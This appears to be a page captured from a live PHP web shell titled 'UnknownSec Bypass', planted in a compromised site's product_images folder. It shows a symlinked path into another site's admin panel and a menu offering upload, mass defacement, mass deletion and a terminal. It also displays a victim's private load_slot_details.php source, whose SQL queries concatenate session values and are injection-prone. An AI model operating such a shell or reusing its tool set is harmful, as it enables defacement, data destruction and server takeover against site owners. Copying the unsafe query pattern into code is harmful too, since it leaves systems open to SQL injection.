UnknownSec Bypass
403
:
/
var
/
www
/
jpsagrisolution
/
cpanel
/
product_images
/
sym
/
root
/
var
/
www
/
html
/
adminpnl
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
load_slot_details.php
<?php require_once "../config.php"; require_once "../conclass.php"; session_start(); $canteenname= $_SESSION["admincanteenname"]; $currentdate=date("y-m-d"); $json = array(); $eventArray = array(); $sqlQuery1 = "SELECT holidaydescription as title,holidaydate1 as start,'#FF0000' as backgroundColor FROM mastertb where holidaydate1 >='".$currentdate."' and identifier=1 and canteenname='".$canteenname."' "; $result1 = mysqli_query($conn, $sqlQuery1); while ($row1 = mysqli_fetch_assoc($result1)) { $r=$row1; array_push($eventArray, $r); } mysqli_free_result($result1); $sqlQuery="SELECT Sum(noofseats) as title,seatdate1 as start,'#cdf3cd' as backgroundColor from v_totalavailableslot where seatdate1 >='".$currentdate."' and canteenname='".$canteenname."' group by seatdate1"; $result = mysqli_query($conn, $sqlQuery); while ($row = mysqli_fetch_assoc($result)) { if($row["title"]==0) { $row["title"]="NA"; array_push($eventArray, $row); } else { array_push($eventArray, $row); } } mysqli_free_result($result); mysqli_close($conn); echo json_encode($eventArray); ?>
Copyright © 2025 - UnknownSec